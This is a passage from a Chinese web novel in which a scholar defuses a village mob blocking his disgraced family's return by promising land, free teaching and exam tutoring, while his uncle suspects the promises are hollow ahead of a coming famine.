所以,这次的断亲对江贤和江达来说,并没有什么觉得遗憾和不对的地方。
唯一让他们没有想到的是,断亲之后的江河竟然会突然变得这般强硬与无赖,三番两次的来寻他们老宅的麻烦与晦气。
“对!那个白眼狼天生就是个坏种,老娘早就应该把他给彻底赶出家门!”
车厢后座的王三妮听到两个金孙的话,忍不住又是一阵咬牙切齿的痛骂。
“贤儿、达儿,奶的两个乖孙子,这次回村,你们可一定要替奶奶出了这个恶气,一定要狠狠的惩治江河这个白眼狼!”
“还有,咱家之前丢的那三十几贯钱,肯定就是**河那个不孝子给偷走的,你们一定要替奶奶给讨回来,不然咱们家的日子以后就没法过了!”
听到王三妮又提起了家里丢失的那么多钱,江洋与王艳也不由出声附和道:
“对,贤儿、达儿,你们一定要把那些钱从江河那里讨回来,不然家里没钱又没粮,咱们一家人回去吃什么喝什么?”
“城里面现在有钱都买不到粮了,咱们要是不趁早弄些钱在乡下收些粮食回来,这个年关咱们怕是都熬不住啊!”
闻言,江贤默然。
这次他为何明知道现在不是让爷奶和爹娘回村的最好时机,却还非要在今天把他们送回来?
就是因为若是让爷奶和爹娘继续待在县城里的话,他们就要活不下去了。
不止是因为手中的钱财不趁手,更是因为,现在县城内的粮食不但贵得离谱,而且还限售。
每户人家每天只能购买八斤粮食,多一两都不行。
而且随着时间的推移,这个数量有可能还会再持续减少。
他们家,包括爷奶、爹娘,他和媳妇叶小蕊,儿子江弈,以及二弟江达,总共八口人,每天只有八斤粮食怎么够吃?
他总不能每天都厚着脸皮,带着老婆孩子跑到岳父家去讨吃的吧?
这期间,他也托了不少关系,找了不少
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人,想要暗中收购一些粮食备用。
可是结果,所有人都告诉他,现在粮食紧缺,官府管控极严,纵使他愿意出双倍的价钱,也没有人敢私下里把粮食卖给他。
这让江贤在倍感失望的同时,也猛地意识到,一场前所未有的粮荒可能就要来了。
若是继续让家人留在县城里的话,等到粮荒来临,县里也再无粮食对外出售的时候,他们一家人都有可能会面临无粮可吃,甚至直接饿死在城内的风险。
所以,江贤才不得不未雨绸缪,提前把家人送回老家来,想要在乡下多收些粮食储备起来,以防万一。
当然了,若是能从江河那里再顺利讨回一些钱财,那就更好了。
多的不说,至少也要把江河昨天从五位舅爷那里讹走的三贯钱给讨回来。
三贯钱,可是能买不少粮食呢。
至于爷奶口中所说的失窃的那些钱,那是想都不要去想了。
上次县里的捕头都已经带人搜过江河的家,也洗清了江河偷盗的嫌疑,他若是再没凭没据的去污蔑江河,对他自身的名声可影响不好。
今年是他科考中举的关键时期,任何有可能会影响到名声的事情,都不能做!
“爷奶,还有爹娘,你们就放心吧!”
见大哥没有说话,江达笑嘻嘻地开口说道:
“有我和大哥在,以后谁也别想再欺负咱们家!”
“江河那个没用的莽夫、二流子,要是再敢炸刺,我……我和大哥有的是办法收拾他!”
他本想说“看我怎么收拾他”,但一想到江河昨日一人对战王家五虎,把那五位高大健壮的舅爷全都给打残了的壮举,心里到底还是有些发怵,连忙改口扯上了江贤。
他们都是读书人,动的是脑子,才不会跟一个莽夫去拼死肉搏呢。
“对!一定要狠狠地教训一下那个白眼狼,绝对不能让他好过!”
王三妮再次变得激动不已,眼中恨意几乎要喷出来:
“那个杀千刀的白眼狼,丧良心的不孝子!”
“老娘生他养他,他竟然敢反过来打老娘,还敢把我们全都送进县大狱!良心全都让狗给吃了,就算是把他打入十八层地狱都不亏!”
江十二闻言,也跟着冷哼道:
“你奶说得对,那个不孝子就该狠狠地教训,最好把他也给弄到大狱里去,让县老爷判他个十年八年,看他还敢不敢再打自己的爹娘!”
旁边,江洋与王艳两口子也不消停,一想到都因为江河他们才被送进了县大狱,吃了这么多苦,受了这么多罪,便也跟着一起叫骂起来。
江贤见状,眉头不由皱得更紧,脑仁儿都隐隐有些发疼。
这些人到底有没有搞清楚状况,现在是秋后算账找江河麻烦的时候吗?
他们难道不知道自己现在村子里是什么名声,就不担心一会儿他们根本连村子都进不去吗?
“爷奶,爹娘,慎言!”
江贤忍不住开口劝说了一句:
“事情闹到这一步,咱们家里也有不对的地方。回去之后,还先看看情况再说,莫要再轻易生事了。”
第145章 没有一个能让人省心的!
“贤儿,你这是什么话?”
王三妮不满地瞪了大孙子一眼,仍是一脸怨恨的尖声说道:
“难道我这个当娘的挨了儿子的打,被那个不孝子送进了大狱,还要再回来向他低头赔不是不成?”
“就是!”江十二也瓮声瓮气道,“不管咋说,儿子打老子,就是大逆不道,就是倒反天罡,绝对不能轻饶!”
江洋也跟着帮腔:“大郎啊,你现在都是秀才公了,还跟县里的官老爷相熟,咋能还这么胆小呢?”
“是啊,大郎!”王艳也接声说道:“有你这个秀才公在,咱还用怕那个只会耍蛮力的莽夫?”
“这事儿你就听你爷奶的,肯定不能轻易饶了江河那个混蛋,你看他都把咱们家给祸祸成什么样子?”
江贤看着眼前这四个只知抱怨、不知反思、更看不清形势的长辈,心中不由再次涌起一股深深的无力感。
如果这四个蠢货不是他的至亲。
如果不是担心他们入了狱,被判了刑,会严重影响到他未来的科举之路。
江贤之前怎么都不会那般费心费力的出手营救他们。
这样目光短浅、行事粗鄙低劣,还不明形势、不知进退的蠢货,就活该让他们一直待在大狱之中。
“爷,奶,爹,娘,我不是胆小,也不是怕了江河那个二流子,而是现在情况不一样了。”
他耐着性子,尽量用他们能听懂的话解释道:
“你们可能还不知道,昨天晚上,五位舅爷不止**河给打了,后来还被王老四、王小顺两家人给堵了门,又被他们给狠狠的给教训了一顿。”
“现在,五位舅爷全都受了重伤,躺在床上连下地都费劲。”
“之前因为孩子被偷的事情,王老四与王小顺两家正憋着一肚子火没地方发泄,就等着你们回去找你们算账呢。”
“咱们现在最要紧的,不是去找江河的麻烦,而是要多想想,该怎么才能顺顺当当地进村,该怎么才能平息掉王老四与王小顺这两家苦主心中的怒火。”
“至于江河那边,君子报仇,十年不晚。咱们得先稳住局面,把眼前的难关过了再说其他。”
江贤的话,让车厢里的叫骂声暂时平息了一下。
尤其是听到江贤提起王老四与王小顺这两个人的时候,江十二与江洋同时轻缩了一下脖子。
当初可就是他们两个亲自动手迷晕了王老四与王小顺家的两个孩子,并将他们给送到了赵神婆家的地窖内。
要说现在整个村子里有谁最痛恨他们,恨不得扒他们的皮、拆他们的骨、吃他们的肉,那绝对是非这两家人莫属。
所以,江十二与江洋心中也是一阵的忐忑,不敢直接面对王老四与王小顺两家。
那些人若是见了他们,痛揍他们一顿都是轻的,激动之下把他们打伤打残甚至打**,都不是没有可能啊。
王三妮虽然还是满脸不忿,但也知道大孙子说得有道理。
想起昨天二哥派人送来的信,说是兄弟五个全都被人给打残了,甚至连站都站不起来了,王三妮的心里也不免有些怯得慌。
她的那五位兄长,才是她在下河村内最大的靠山与依仗。
现在他们一个个的全都变成了站不起身的废人,这个时候要是王老四与王小顺那帮人来寻他们的麻烦,可是连个能保护她的人都没有了。
王艳听了儿子的分析,也不由一阵心慌,再不说什么报复江河的话,而是一脸担忧的看向自己的大儿子。
他们虽然虚荣,虽然自私自利、睚眦必报,但也知道县官不如现管的道理。
哪怕县里的官老爷已经判了他们无罪,但是他们到底有没有罪,村里的人,尤其是王老四与王小顺这两家苦主,其实是心知肚明的。
现在他们想要回村,这两家人绝对是他们怎么也避不开的坎儿。
“大哥,你这就有些危言耸听了,那王老四与王小顺是什么脾气你又不是不知道?”
“这些年他们住在江河那个二流子家旁边,可是没少**河给欺负过,完全就是两个窝囊废,回去后咱们随便给他们道个歉,赔点礼,只要面子上过得去,他们不敢拿咱爷和咱爹如何!”
江达则有些不以为然,轻声开口说了一句。
他觉得大哥实在是太过谨慎了。
有他们两个读书人在,有秀才与童生的身份摆在那里,再加上里正和老族长那边的疏通和调解。
他才不信村里那些泥腿子还敢对他们动手。
听了江达的话,原本有些沉寂下来的车厢,再次变得活泛了起来。
王三妮、江十二、江洋与王艳同时朝江达这边看来,竟全都觉得江达说得极有道理。
同时也觉得江贤刚刚那样说,是不是在故意吓唬他们?
看到爷奶和爹娘眼中重燃的侥幸和自以为是,江贤只觉得又是一阵心累。
他有些不满的狠瞪了江达一眼,似在责备他刚刚的胡言乱语。
他这个弟弟,在读书方面或许真有几分聪明才智,但对人心世故,尤其是对底层村民在绝境中被激起的愤怒和血性,根本就一无所知!
“二弟,你……”江贤还想再解释。
但就在这时,外面赶车的车夫突然“吁”了一声,马车缓缓停了下来。
车夫有些紧张的声音从外面传来:“江、江秀才,已经到了下河村的村口了,但是前面……前面有好多人,把路给堵了。”
车厢里瞬间一静。
江十二和王三妮脸上的侥幸瞬间凝固,江洋和王艳也下意识地往一起靠了靠,身形都有些发颤。
江达则有些意外的挑了挑眉,但眼中却没有丝毫惧意。
江贤心中微沉,抬手掀开车帘一角向外看去。
果然,村口的大槐树下,黑压压地站满了人,粗略一看,不下五六十口!
为首的正是王老四和王小顺,他们身后站着的都是本家青壮族人。
这些人手里虽然没有明晃晃的兵器,但那种压抑的、如同即将爆发的火山般的愤怒气息,隔着老远都能感受到。
更要命的是,江贤还看到了人群后面,老族长王德顺和里正王冶山,以及宗内的几位族老,也都站在那里。
这
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几人个个面色沉凝,没有半点要上前“调解”“劝阻”的意思,像是……在刻意等着看他们如何应对。
见此状况,江贤的心,瞬间沉到了谷底。
情况,比他预想中的还要糟糕!
王老四和王小顺他们,这是铁了心不想让他们进村,甚至连族长、里正他们,似乎都默许了这种“发泄”和“阻拦”!
“贤儿,怎……怎么办?”
王三妮的声音带着颤抖,刚才那股子不服不忿的劲头,在真正面对眼前这些阻挡在他们马车前,黑压压的愤怒人群时,消失得无影无踪。
江十二也脸色发白,嘴唇哆嗦着,说不出话。
江洋和王艳更是吓得紧抱在一起,大气都不敢出。
江达此时也透过门帘的缝隙看到了外面的情景,脸色瞬时变得有些难看。
他没想到,这些泥腿子竟然有这么大的胆子,敢当众来拦他们的马车,寻他们的麻烦。
“爷奶、爹娘,你们不用怕,有族长和里正公在,他们不敢乱来!”
江达并没有因为对方人多而被吓到,失了分寸,仍然沉着冷静的向车厢内的家人安抚着。
江贤见状,不由一阵摇头。
现在他都不知道该说自己这个弟弟是临危不惧,心性过人。
还是该说他蠢得不可救药,直到现在都还没有看清楚他们正面临的是什么形势。
这一个个的,真是……没有一个能让人省心的!
江贤深吸一口气,知道此刻只能靠自己了。
他整理了一下长衫,努力平复心中的慌乱,给了江达一个眼神,示意他也一起下车。
兄弟二人掀开车帘,先后走下马车。
刚一露面,对面的人群就爆发出一阵巨大的骚动和怒吼。
“江十二!江洋!王三妮!你们给我滚出来!”
“几个丧了良心的老畜牲,竟还有脸回来?!”
“打死他们!绝对不能让这样的拐卖孩子的畜牲进村!”
“……”
声浪如同潮水般涌来,江贤和江达只觉得耳朵嗡嗡作响,腿都有些发软。
尤其是江达,从小到大他哪见过这种阵仗,刚才的“自信”和“从容”,瞬间被冲击得七零八落,下意识地就往江贤身后缩了缩。
就知道会是这样!
江贤鄙夷地看了自己这个外强中干的二弟一眼,强撑着上前几步,对着人群,尤其是对着后面的王德顺和王冶山拱了拱手,提高了声音:
“各位乡亲!老族长,里正公,还有王四伯,小顺叔!江贤这厢有礼了!”
他的声音虽大,可是面对着身前更加高亢的、群情激奋的呐喊声与叫骂声,几乎微不可闻。
他不得不再次提高音量,几乎是喊了出来:
“请各位乡亲暂且息怒,且听小生一言!”
或许是“秀才公”的身份还有几分威慑。
又或许是对面的人群也想要听听他会怎么狡辩、解释。
众人的怒吼声逐渐降低,但那一双双愤怒的眼睛,依然在死死地盯着江贤、江达兄弟两个,以及他们身后停着的那辆马车。
第146章 狗屁的天经地义!
江河没有到村口去凑这个热闹,而是站在贾郎中家的院子里,远远的看着村口方向。
他的耳力目力皆远超常人,哪怕是没有凑到近前,也一样能够清晰的无比的看到、听到这边发生的一切。
当他看到江贤、江达从马车上走下来,面对着群情激愤的叫骂时,江贤的镇定自若,江达的外强中干,江河不由微微摇头。
老宅的这帮人,除了他这个大侄子江贤还算是有些气度之外,其余皆是不中用的草包。
不出意外的话,这次江十二与王三妮等人之所以能够从县大狱里被捞出来,当也是这个江贤起了最为关键的作用。
现在,江河已然开始有些好奇,面对这样几乎是一面倒的局势,江贤这个秀才公,又该如何破局,让他们一家人顺利回家?
“想看就去看嘛,偷偷摸摸的躲在我这里,可不像是你江河的作派啊!”
贾郎中正在院子里收拾治疗跌打损伤的草药,看到江河站在院门处不断的向村东观瞧,不由出言打趣起来。
江河轻耸了耸肩:“我倒是想去,只是老族长还有里正昨天已经专程上门警告过我,不许我去凑这个热闹,怕我会忍不住再揍江十二与王三妮一顿。”
“其实他们是多虑了,我江某人又不是暴力狂,只要老宅那帮人不再主动来招惹我,我才懒得去搭理他们呢。”
“更何况,今天唱这台戏的主角可是王老四与王小顺他们两家,我怎好去喧宾夺主?”
贾郎中闻言,不由哑然失笑。
“你说得倒是在理,今天这台戏的主角确实是王老四与王小顺两家,你看看我手里的这些草药还有我屋里的那些药酒,就是里正与老族长专门嘱咐我为今天准备的。”
“依我看,你们江家老宅的那几口子,今天这一顿暴揍铁定是跑不掉了。”
“只希望王老四与王小顺他们下手有些分寸,别搞出人命来才好。”
他不过就是一个乡野小郎中,让他治疗一些小伤小病自是没什么问题,可若是那边打得太厉害,有人受了重伤,他却是未必能救得回来。
“放心吧。”江河淡声开口道:“没看到老族长、里正还有族内的几位族老也全都去了吗?有他们在,断然不会让局面闹到不可收拾的程度。”
“莫要忘了,我那两个好侄子,一个是秀才公,一个是童生,很得老族长和里正看中,他们怎么也不会让二人真个吃什么亏。”
“现在他们之所以没有提前出面调解,而是任由王老四与王小顺两家人堵在村口难为老宅一家……”
说到这里,江河不由轻哼一声,道:
“一是想要让王老四、王小顺这两个苦主好好的发泄一番,给老宅一些教训。”
“这二嘛,就更有意思了,无外乎就是趁着老宅落难之时,雪中送炭、施以恩惠,让江贤、江达这两个前程远大的后生记得他们的好。”
“若是论起这老谋深算来,整个下河村有谁能比得过老族长与里正公?”
听到江河这般说讲,贾郎中不由眉头一挑,回过头来有些惊艳的深看了江河一眼。
他没想到,江河现在的心思竟然如此通透,这般轻易的就看穿了老族长与里正想借机向江贤、江达兄弟施恩的谋算。
这特么还是以前那个不学无术、脑子浑噩、不识好歹的二流子吗?
他知道人被磕到了脑袋,损伤到了大脑,有可能会性情大变,会有一些脾气甚至性格上的巨大转变。
但是他却从来都没有听说过,这样的伤势还能让一个人突然间变得聪明智慧起来的啊。
难道……这就是传说中的开窍了?
连江河这样的二流子都能在被磕到头后,变得这般聪慧精明,若是他找个机会给自己那个蠢儿子的脑袋上也来上这么一下,不知道会不会效果更好?
另一边。
村东入口处。
两边的对峙仍在继续。
见对面的喧嚣声小了一些,江贤连忙抓住这个机会,高声说道:
“小生知道,之前赵神婆一案,我爷和我爹皆在稀里糊涂之下参与到了其中,更是让王四伯和小顺叔两家的孩子受了惊吓。”
“此事虽事出有因,可做错了就是做错了,小生在这里代家中长辈,先向两位叔父,还有各位受惊的乡亲,赔罪了!”
说着,他躬身向着王老四和王小顺等人,深深作了一揖。
江达见状,虽有些不太情愿,可也不得不跟着一起作揖赔礼。
“呸!假惺惺!”
王老四毫不留情的冲着二人啐了一口唾沫,丝毫不为所动。
“赔罪有个屁用!老子的儿子命都差点儿没了!今天你们要是不给一个实实在在的说法,这事儿没完!”
“对!光赔罪有什么用?谁知道你们是不是又想耍什么花样?”
“我们可不敢让一群随时都有可能来拐卖我们孩子的脏东西,跟我们住在同一个村子里!”
王小顺等人也跟着怒声斥骂道:
“今天要么你们自己滚出下河村,永远别回来!
要么,就让我们直接打死江十二和江洋这两个不干人事的狗东西!”
“对!打死他们!人贩子全都不得好死!”
“打死他们!”
一时间,人群中又变得喧闹激奋起来,所有人都目露凶戾光芒的直盯着江贤、江达两兄弟,不给他们半点儿面子。
江达见状,吓得双腿瑟瑟发抖,不自觉的又躲到了大哥的身后。
江贤额头也是冷汗直冒,他知道,光是口头赔罪,根本不足以平息众怒。
他咬了咬牙,从袖口中取出一个早就准备好的装得鼓鼓囊囊的钱袋,双手高高捧起:
“王四伯,小顺叔,小侄知道,现在纵使是说再多,也难消诸位叔伯的心头之恨。”
“这里是我们家中仅有的一点积蓄,差不多有两贯钱,虽杯水车薪,但还请王四伯与小顺叔能够收下,权当是给小豆兄弟和小丫妹妹压惊、补身子的汤药钱,待日后我……”
“谁稀罕你的臭钱!”
王老四直接打断他,一把打掉江贤手中递过来的钱袋,里面的铜钱和碎银瞬时倾洒了一地。
“老子要的是公道!要的是你们江家给我儿子一个交代!现在老子只给你们两个选择
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,要么直接滚,要么留下来偿命,你自己选!”
看着地上散落的铜钱和碎银子,江贤的脸色变得无比难看。
他没想到,这些泥腿子竟然连钱都不愿意要,也要阻止他们回村。
这最后的尝试也算是失败了。
这些正在气头上的村民,根本就不愿意接受他们的赔礼道歉。
尤其是王老四,态度比所有人都要强硬得多,从始至终都是一副想要择人而噬的暴戾之态。
江贤现在都有些害怕,若是再这样刺激下去,王老四真的会直接冲上前来,不分青红皂白的暴揍他们一顿。
真是……造孽啊!
他怎么就摊上了这么一群不靠谱的蠢货至亲呢?
拐卖孩子也就罢了,还特么拐卖同村乡亲们的孩子!
这不是在给自己掘墓,把自家的所有退路都给堵**吗?
连兔子那样的畜生,都知道不吃窝边草的道理,可是他爷和他爹之前的所作所为,却连兔子都不如!
没有办法,江贤只好求助般地看向一直站在人群之后的老族长和里正。
他不是傻瓜,之前见王德顺与王冶山一直躲在人群之后,没有第一时间出来帮忙,他便知晓了这两只老狐狸的打算。
可是现在,形势比人强,哪怕是他不想欠下这份人情,现在也不得不向王德顺与王冶山低头恳求了。
见火候已到,深知过犹不及道理的王德顺与王冶山,这才带着几位族老,缓缓走上前来。
王德顺拐杖顿地,抬手压下了正在高声叫骂的村民,沉声道:
“王老四,王小顺,还有各位族人乡亲,暂且息怒。”
见老族长开口,人群终于再次安静了一些,但目光依旧极为不善的直盯着江贤、江达及后面的那辆马车。
王德顺看向江贤,又看了看他们身后始终都没有什么动静的那辆马车,摇头叹了口气:
“江贤啊,你也看到了,此事非是族中不公,实是你们家……犯下了众怒啊。”
他顿了顿,似乎在斟酌词句,最终说道:“依老夫看,今日你们若是不拿出一个能让所有人都满意的章程,这个家你们怕是回不去了。”
“这怎么能行!”
江贤还没有说话,躲在他身后的江达却是急了,他跳出身来,高声向王德顺说道:
“老族长,连县尊大人都已判了我爷奶父母无罪,他们现在要回自己的家,乃是天经地义之事,别人凭什么拦着啊!”
“天经地义?”
“狗屁的天经地义!”
王老四气得好悬没吐出一口血来,目光凶戾的直瞪着江达,厉声道:
“**崽子,照你这么说,你爷和你爹差点儿害死我儿子的时候,也是天经地义,也是理当如此了?!”
“老族长,你也听到了,直到现在,这帮混蛋玩意儿竟然还不知悔改!”
“我看已经没有必要再跟他们多废话了,您别再拦着我了,看我今天不把他们给打出屎来!”
说着,王老四直接从腰间掏出一把杀猪刀来,拎着刀就要往前冲,吓得江达一声惊叫,再次缩起脖子躲回了江贤的身后。
第147章 江贤的决断
江贤忍不住回头狠瞪了江达一眼。
这个成事不足败事有余的东西,不会说话就别跟着瞎逼逼!
现在好了,直接把人家苦主给惹**了,连杀猪刀都掏出来了,接下来还怎么化解矛盾,他们又该怎么顺利的回到家中?!
江达低着头,不敢与大哥对视。
他也没想到平时在村里并不怎么起眼,甚至还经常**河那个二流子给欺负的王老四,今天竟然会变得这么暴躁啊。
况且,他刚刚说得又没有错,连县衙里的县尊大人都已经判了他们家里人无罪,这帮泥腿子凭什么要继续死揪着不放?
还不让他们进村?
甚至还扬言要打死他们?
真是给他们脸了!
贾郎中家。
隔空看到这一幕的江河险些直接笑出声来。
江达这个蠢货,是读书读傻了吧?
竟然直到现在都还没有分清局势,还敢在这里胡言乱语、大放厥词?
果然是遗传了老宅那帮人的坏和蠢,凡事只想着自己,分毫不顾及别人的感受。
或许在他的眼中,王老四、王小顺这些人就是一群生活在社会最底层、只会种地的泥腿子,他打心眼儿里就从来都没瞧得上过他们。
可是现在,就是这些泥腿子,决定着他们一家几口今天、甚至以后,还能不能回家,还能不能继续生活在下河村内的关键问题。
这个时候出言挑衅他们,甚至还摆出了一副高高在上的傲慢姿态,真不知这小子心里是怎么想的,简直是蠢到家了!
“住手!”
王德顺在狠瞪了江达一眼之后,再次挺身而出,朗声厉喝,同时也给旁边的王冶山几人使了个眼色。
王冶山见状,连忙带着身边的几个青壮上前,死死拉住了几乎已经暴走,要冲上前去跟江家人拼命的王老四。
“王老四!把刀给老夫放下!你想干什么?!”王冶山声色俱厉,沉声向王老四喝斥:“真闹出人命,你也要跟着偿命!”
“就算是你自己不想活了,你也得想想你的老婆和孩子,你万一有个什么三长两短,他们娘几个怎么活?”
王老四被几个人拉着拽着,眼睛依旧通红,死死盯着江贤、江达和后面那辆马车,胸膛剧烈起伏,但总算没有再继续往前冲。
他手中的那把杀猪刀,也被王冶山瞅准时机给强行夺了去,真怕这小子一个冲动,真的搞出了人命来。
见王老四被控制住,危局暂解,王德顺这才重新扭头看向江贤,语气严厉道:
“江贤,你也看到了!不是族中容不下你们,而是你们家人的所作所为,已经激起了公愤!”
“老夫知道,赵神婆的案子已经在县衙彻底完结,你爷奶和父母他们全都被判了无罪释放。”
“但是,有一点你要搞清楚,县衙的判决是县衙的事,可村里的规矩,是村里的事!”
说到这里,王德顺又忍不住狠瞪了一眼还想要再开口说话的江达,毫不客气的给出了最后的通牒:
“今天,你们若想进这个村,就必须给王老四、王小顺两家,也给全村人一个交代!”
“否则,就算是老夫,也护不住你们!”
江贤闻言,面色沉重的微点了点头。
他知道,这是他们最后的机会了。
他深吸一口气,强迫自己冷静下来,脑子里飞速运转。
他一直都相信,这世上没有交换不了的利益,如果有,那只能说明是你开出的筹码还不够多。
之前他又是送钱,又是赔礼道歉,全都没有达到预想中的效果。
也许并不是这些办法不管用,而是他给的钱太少,或是道歉时的态度还不够诚恳。
只是那两贯钱,已经是他目前能够拿出来的最大筹码了,若是对方想要更多,他一时间又上哪里去弄?
以前,老宅还没有跟大伯闹翻的时候,他从来都不会为这些乱七八糟事情发愁烦恼。
因为不管老宅或是他们哥俩遇到什么难缠的问题,江河那个蠢货总是能在第一时间出现,哪怕是卖儿卖女,卖房卖地,也会帮他们把事情扛下来。
可是现在,江河明显已经指望不上了,王家的五位舅爷又全都成了残废。
现在他们在村子里已然是孤立无援,想要解决眼前的危局,只能靠他自己了。
“老族长,里正公,还有王四伯,小顺叔,以及在场的各位乡亲!”
江贤的声音忽然变得洪亮而坚定,他上前一步,先是对着王老四和王小顺再次深深一揖,然后转向王德顺、王冶山和所有村民:
“家祖、家父铸成大错,险些害人性命,其罪难赎!江贤身为其孙、其子,亦感愧对乡亲,无颜以对!”
“江贤不敢奢求乡亲们原谅,更不敢妄言以钱财了事。但江贤愿以读书人之名,以江家老宅长孙的身份,在此立誓——”
他环视众人,一字一句道:“自今日起,将家中所有的田产分出一半来,直接赠予王四伯与小顺叔两家,借以来弥补我们老宅犯下的过错!”
“另外,待今年科举结束,无论我高中与否,都会回来在村内的私塾之中执教一年,王四伯与小顺叔家的孩子,皆可免束脩进入私塾读书!”
“还有,除了在私塾任教一年之外,我亦会空出两个门人弟子的名额给王四伯与小顺叔家。”
“一年之内,你们两家可以随时将家中或是族中的一名后辈,送至我的门下,我会亲自教导他们科举应试之道,确保他们将来至少都能获取一个秀才功名!”
江贤这番话一出,全场瞬时陷入一片诡异的寂静。
王老四不再挣扎了,王小顺不再叫骂了。
他们身后的族人,也全都不自觉地张大了嘴巴,再没有发出半点儿杂乱的叫嚣声音。
甚至就连王德顺、王冶山与几位族长,也全都惊愕抬头向江贤看来。
所有人都**贤抛出的新筹码给惊呆了。
分出一半田产赠予王老四和王小顺两家,这手笔绝对足够惊人!
要知道,江家老宅这些年靠着江河的供养,置办下了近二十亩上好的水浇地,一半就是十亩!
在这个田地就是命根子的年代,江贤这样做,简直就是把江家老宅的半条命都给送出去了!
但这还不是最让人震惊的。<
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br>江贤后面说的那两条——免费执教私塾一年,以及两个“确保秀才功名”的门人弟子名额,才是最让他们感到意外与不可思议的!
执教私塾,意味着村里的任何一个适龄孩童,皆都有机会可以接受一位秀才公的悉心教导。
而王老四和王小顺家的几个孩子,更能够免费进学,连束脩都不用再交了!
这对于任何一个渴望用读书来改变命运的农家子弟来说,简直是天上掉馅饼的大好事!
而那两个“确保秀才功名”的弟子名额,更是石破天惊!
秀才功名啊!
一旦考中,就是士绅阶层,可以免税,可以见官不跪,甚至可以影响一地乡政!
多少农家倾尽几代之力,都未必能供出一个秀才!
而现在,江贤竟然敢立下如此保证,要“确保”王老四与王小顺两家,在不久的未来,至少能各出一个秀才!
这哪里还是什么道歉与赔偿,这简直就是在将一场泼天的富贵与造化,直接送给王老四与王小顺两家啊!
若是这样的道歉与补偿都还没有诚意,都还不能打动王老四与王小顺的话,那在场这些人就再也想不到还有什么更好的赔偿条件了!
感觉到身边叔伯兄弟还有族人们投来的羡慕甚至嫉妒的目光,王老四和王小顺都彻底懵了圈了。
他们原本只想要个说法,出口恶气,暴打对方一顿,顺便再多要点儿赔偿而已。
可现在江贤扔出来的东西,已经远远超出了他们的预期和想象!
一半田产,足以让他们两家瞬间成为村里的富户。
免费的私塾教导,是给家里孩子们日后出人头地的一条出路。
而那两个秀才名额……简直就是足以改变他们两家未来几代人命运的无上机缘!
这般情况下,他们还怎么好意思再找江贤及江家人的麻烦?
虽然胸中的愤怒依旧还在,但一种更复杂的、掺杂了巨大利益诱惑的情绪,也开始迅速在他们心中滋生。
此刻,什么仇怨愤恨,什么天道不公,全都没有江贤给他们画出来的这张大饼更香!
老族长王德顺和里正王冶山,更是欣喜若狂,眼中精光大盛!
他们之前想要的,只是趁机施恩于江贤兄弟,让江贤兄弟二人承了族里的人情。
若是将来这兄弟两个真的科举入仕当了官,有了这份人情在,他们下河村王家的权势地位,也必然会跟着水涨船高。
可现在江贤给出的,却远比他们想要的更多、更直接!
甚至于,都无须他们这些族长、里正与族老再从中调停,王老四与王小顺,还有他们身后的那些本家族人,就已经全面沦陷了。
当然,在王德顺与王冶山眼中,这些还不是最重要的。
最重要的是,通过这件事情,他们看到了江贤在处理自身所面临的危机与难题之时,所展现出来的远超同龄人的魄力和手腕。
思维敏捷,能屈能伸,还懂得如何用利益捆绑来化解危局,收拢人心。
这样的人,未来的成就必定不可限量,完全值得他们王氏宗族尽心尽力地投资帮扶!
第148章 空手套白狼
江河也有些意外的看了这个大侄子一眼。
万没想到,这小子在危急关头竟然会有如此大的魄力,为了能重归老宅,挽回家族的声誉,他这么做也算是下了血本了。
只是,他为何要这么急迫的从县城里回来呢?
按照正常人的思维谋算,现在绝对不是老宅一家回归下河村的最佳时机。
赵神婆的案子刚结,老宅一家无罪释放的消息也才刚传回村子不久。
现在正是王老四、王小顺两家苦主情绪最为激动,愤怒与恨意也最为强烈的时候。
他们这个时候回来,不是在火上浇油,自己给自己找不痛快吗?
看江贤方才的表现,这小子绝对不是那种头脑简单、无勇无谋之人。
既然如此,那他为何还要挑选这样一个不合时宜的日子从县城里回来?
是没钱吗?
肯定不是。
不说王家五虎昨天带回来的那三贯钱,就说刚刚江贤随手从怀里掏出的那两贯余钱的赔偿,都足以证明,他们手中不但有钱,而且应该还有不少存余。
既然不是钱的问题,那就只能是粮了。
想到之前江天回来时曾说过,从前天开始,县城内的粮价不仅又涨了不少,且限购条件也变成了每户人家每天只能买十斤粮食。
现在两天过去了,县城内的粮价怕是已经涨得更高,甚至就连限购条件估计也有所变动。
看江贤他们这般着急忙慌的从县城内回来,多半是他们在县城内已经买不到足够支撑他们一家糊口的粮食了。
所以,哪怕明知道现在的下河村就是一个火坑,知道村子里有不少人都在等着找他们的麻烦,看他们的笑话,他们还是不得**着脸皮回来了。
“嘶~!”
想到这里,江河忍不住长吸了一口冷气。
“连江贤这样的秀才公在县城内都没有办法买到足够一家人吃饱的粮食,足见现在县城内的粮食已经紧张成什么样子了。”
“真正的粮荒怕是马上就要来了!”
想到这里,江河不由深看了村口正在侃侃而谈,不断给王老四、王小顺及一众乡亲们画大饼的江贤,瞬间就明白了这小子的真正用意。
凭江贤这小子的聪明才智,不可能会看不出接下来整个三河县,甚至整个川南郡,都会面临着一场前所未有的饥荒与祸乱。
现在,不管他给眼前这些村民们做出了多么诱人的承诺,什么十亩良田,什么私塾任教与门人弟子的名额。
在真正的粮荒到来之后,村子里的这些人有多少能活到明年都是个问题。
届时,十室九空,所有人都在为填饱肚子,为怎么活下去绞尽脑汁,谁还会再有闲心来找他兑现之前的承诺?
也就是说,他现在所做的一切,基本上就在空手套白狼,根本就不需要付出任何实质性的成本代价。
只凭着一张嘴,几句无须兑现的承诺,就轻易地化解了眼前困扰着他们一家人的最大难题。
“这小子,果然也是个心黑的,而且要比老宅那几口人加起来,都要阴毒、狡猾得多。”
江河心中轻声自语,再看向江贤时,目光中不觉就多了几分警惕、防备之色。
村口处。
老族长王德顺压下心头的激动,再次正色开口向江贤问道:
“江贤,你此言当真?”
“这分田、执教、收徒之事,皆非儿戏!尤其是你还要确保两名弟子取得秀才功名之事,更是非同小可!”
“这些承诺你既已许下,日后若不能一一兑现,于你的名声前程必将有损,你可要想清楚了!”
江贤迎着老族长的目光,没有丝毫退缩,斩钉截铁道:
“老族长,江贤愿立字为据!所有承诺,白纸黑字,请族老、里正及在场所有乡亲共同见证!”
“日后若有违背,江贤愿自请革除功名,永不再考,并任凭族规处置!”
“好!”
王德顺等的就是这句话,他转向王老四和王小顺,语气变得语重心长,道:
“老四,小顺,你们可都听到了?”
“江贤此诺,可谓倾其所有,诚意十足!
一半田产,足以弥补你们两家损失。
执教收徒,更是为你们两家乃至全村后辈铺开了一条青云之路!”
“所谓冤家宜解不宜结,江家固然有错在先,但如今江贤已代家人认错,并拿出如此厚重的补偿和承诺,也算是能给你们一个交待了,你们以为如何?”
